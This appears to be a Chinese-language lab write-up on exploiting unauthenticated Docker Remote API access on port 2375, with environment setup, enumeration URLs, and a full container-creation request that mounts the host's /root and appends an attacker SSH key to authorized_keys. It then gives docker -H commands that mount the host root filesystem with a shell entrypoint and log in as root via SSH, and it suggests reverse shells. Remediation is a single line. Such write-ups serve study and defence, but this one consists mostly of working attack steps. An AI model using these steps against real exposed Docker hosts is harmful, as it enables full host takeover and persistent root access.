docker remote api未授权访问
0x00:简介
Docker 是一个开源的引擎,它可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。
Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 容器,删除已有 容器,甚至是获取宿主机的 shell(docker逃逸)。
0x01:漏洞成因
首先docker remote api相当于docker 命令行,是可以执行任意docker命令的,其安装时会默认绑定在 tcp://0.0.0.0:2375 上。如果业务开在了公网,就会导致未授权,其官方文档也提到了不要让docker的端口暴露在外网,但是有几个人会看官方文档呢。
0x02:漏洞复现
一:环境搭建
这里可以使用vulhub的镜像,也可以通过配置将其开放。
1.安装docker 过程略
2.修改配置文件
gedit /lib/systemd/system/docker.service
将ExecStart项增加 -H tcp://0.0.0.0:2375 ,使其绑定在0.0.0.0上,导致未授权任意访问。
3.然后执行
systemctl daemon-reload ///重新加载某个服务程序的配置文件 systemctl systemctl restart docker.service //重启docker服务
如果没有错误提示,则表示 dockerd 已经成功监听,访问靶机2375端口的/version目录
二:漏洞利用
Docker是以root权限运行的,这是所有姿势的前提.
1.浏览器操作
docker remote api是一个可以执行命令的api。所以可以直接在2375端口后执行docker命令
如:
(1) 获取 docker 信息:
http://192.168.150.148:2375/info
(2) 获取image列表:
http://192.168.150.148:2375/images/json
(3) 获取容器信息:
http://192.168.150.148:2375/containers/json
(4) 设置免登陆,获取服务器权限(当然得root权限启动docker)
原理:
利用接口创建一个新的容器,将宿主机的 /root/ 目录挂载到容器中,本例中是 /tmp 目录,然后将攻击机的 key (id_rsa.pub) 写入 /tmp/.ssh/authorized_keys 中,也就是写入到了宿主机的 /root/.ssh/authorized_keys 中,然后启动新创建的容器,就可以实现免登陆,从攻击机可以直接登录到靶机
A.创建容器
Host: 192.168.150.148:2375
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 568
Content-Type: application/json
{
"Image":"negoowen/ghostcat:1.0",
"HostConfig":{
"Binds":[
"/root/:/tmp/:rw"
]
},
"CMD":[
"/bin/sh",
"-c",
"echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPygRpGIjkSH/TYCMU2KwvKsmdYpDtEHcXgHgzSf1TZxIUeIZw1BZXxTGrdWeyUQPLZvHl4WKsOeJcacwRFVdHjRXNEa7rcwb4cV2gP1AxQoWX0s6IjUdKbd1eu3JCh8xVfgkHe3FmQkCfqcXSDfQP4se9lgMAWRDTjnW3fvZheAQfgG77fNRXatFehf9uSBMOjDl+7PvPotKRkXGBEjxdBMptC11X85p7xnKDFUCbcDsaCUj7bytnnJnJT81oSDt+4Yqz8CZMh4Kfk1trgucwlEEF4tj9GqKowmkbfXI0MPeP97j3659I1YqfzdAGmZIGhgBaohYLi7UvkFJUhXOP root@pure' >> /tmp/.ssh/authorized_keys"
]
}
创建成功
返回了 containers ID e794db61f5a0bc9909915004ef3b95ad255874d598dd0a4effbf69257c00ec6b
需要在靶机先准备公钥 id_rs.pub 这里有一个坑是 需要靶机已经存在镜像才能创建容器,比如规定Image为ubuntu:18.04 就会报错,因为靶机没有这个镜像。
B.先attach,然后start,就可以捕获到输出
attach包:
Host: 192.168.150.148:2375
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 0
Content-Type: application/json
这里要注意版本 这里版本为1.39 成功执行
start包:
Host: 192.168.150.148:2375
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Accept-Encoding: gzip
Content-Length: 0
发送数据包,到靶机查看公钥写入情况,可见已被成功写入
攻击机ssh连接即可
2.使用docker命令连接
(1) 连接未授权机器,查看版本信息:
docker -H tcp://192.168.150.148:2375 version
(2) 查看目标机器的镜像:
docker -H tcp://192.168.150.148:2375 images
(3) 查看目标机器的容器:
docker -H tcp://192.168.150.148:2375 ps -a
start 启动一个已经停止的容器
attach 连接一个已经停止的容器
(4) 新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/tmp目录下(需要root权限启动docker)
docker -H tcp://192.168.150.148:2375 run -it -v /:/tmp --entrypoint /bin/sh negoowen/ghostcat:1.0
可见这里已经将公钥写入了宿主机的/root/.ssh/下
尝试连接 ssh -i id_rsa root@192.168.150.148
当然我们也可以进行其他操作,linux下反弹shell的方法都可以试试
当目标机器的容器中有bash我们可以直接将entrypoint设置为/bin/bash
可以反弹shell或查看复制文件等。
0x03:漏洞修复
简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则。